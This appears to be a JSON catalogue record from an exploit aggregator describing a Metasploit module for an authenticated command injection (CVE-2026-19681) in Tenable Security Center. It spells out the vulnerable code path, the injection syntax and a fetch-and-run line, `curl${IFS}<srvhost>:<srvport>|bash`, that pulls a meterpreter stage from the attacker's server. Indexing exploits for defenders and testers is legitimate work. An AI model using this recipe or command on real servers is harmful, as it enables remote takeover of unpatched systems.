{"id":"MSF-linux--http--tenable_sc_auditfile_cmdinject_cve_2026_19681","name":"Tenable Security Center SCAP Audit File Command Injection","description":"Tenable Security Center prior to 6.9.0 allows an authenticated user to achieve command execution as the web service account (tns) via the SCAP audit file upload flow. Filesystem::saveTmp() builds staged upload filenames from the raw client-supplied `context` form parameter (tempnam prefix), which is not charset-validated. Referencing that staged file in a POST /rest/auditFile (type=scapLinux, version=1.2) request reaches AuditFileLib::addSCAPTailoringFile(), where the zip repack command interpolates the derived path unescaped: exec(\"{$CommandZIP} -9Tj $tmpZipFile $newTailoringFilenameEsc\"); basename() strips '/' but not shell metacharacters, so a context like `p;CMD;` executes CMD through /bin/sh. Constraints (measured on 6.7.2): the staged-name prefix survives only ~50 characters of context and may not contain '/' (saveTmp() applies basename()). This module therefore serves the payload over HTTP and injects only `curl${IFS}<srvhost>:<srvport>|bash` (a bare host:port GETs / and bash reads the served script from stdin). The served script itself has no such limits, which the Linux Dropper target exploits with a fetch payload (cmd/linux/http/...) that downloads and execs a full native payload (e.g. x64 meterpreter) from the payload adapter's own listener on FETCH_SRVPORT. Tested against SecurityCenter 6.7.2-14 on RHEL9.","cves":["CVE-2026-19681"],"author":"h00die","published":"2026-08-13","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/tenable_sc_auditfile_cmdinject_cve_2026_19681.rb","path":"modules/exploits/linux/http/tenable_sc_auditfile_cmdinject_cve_2026_19681.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"tenable_sc_auditfile_cmdinject_cve_2026_19681.rb","vulnerabilities":[{"id":"CVE-2026-19681","state":"PUBLISHED","title":"Command Injection","titleSource":"CVE Program","description":"An authenticated command injection vulnerability exists in Security Center related to file upload processing. An attacker could exploit this issue by uploading a specially crafted file, potentially resulting in arbitrary command execution on the underlying operating system.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-19681","cvss":{"version":"4.0","baseScore":9.4,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"tenable","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-19681"},"updatedAt":"2026-08-15T03:55:58.735Z","retrievedAt":"2026-11-25T16:13:47.223Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--tenable_sc_auditfile_cmdinject_cve_2026_19681.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--tenable_sc_auditfile_cmdinject_cve_2026_19681","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--tenable_sc_auditfile_cmdinject_cve_2026_19681/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--tenable_sc_auditfile_cmdinject_cve_2026_19681/code","licenseUrl":"https://exploitbin.com/sources#metasploit"}